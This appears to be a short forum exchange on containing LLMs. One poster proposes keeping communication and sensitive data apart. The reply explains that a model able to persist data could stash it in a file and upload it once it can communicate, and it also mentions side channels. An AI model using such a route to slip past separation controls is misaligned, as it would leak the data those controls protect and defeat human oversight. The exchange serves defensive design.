Without having given this much thought, my base assumption would be that I wouldn’t allow an LLM to communicate with the outside world in any capacity at the same time as it has access to any sensitive data. With this simple restriction (communication xor sensitive data) it seems the problem is avoided?
"Communication" has a fairly big surface area, and "at the same time" is not sufficient if there's any ability for the LLM to persist data. E.g.: if it can write to a file, it could check for outside communication ability and upload that file only when that ability exists.
And then, depending on what threat profiles you're concerned about, you may need to be thinking about side-channel attacks.
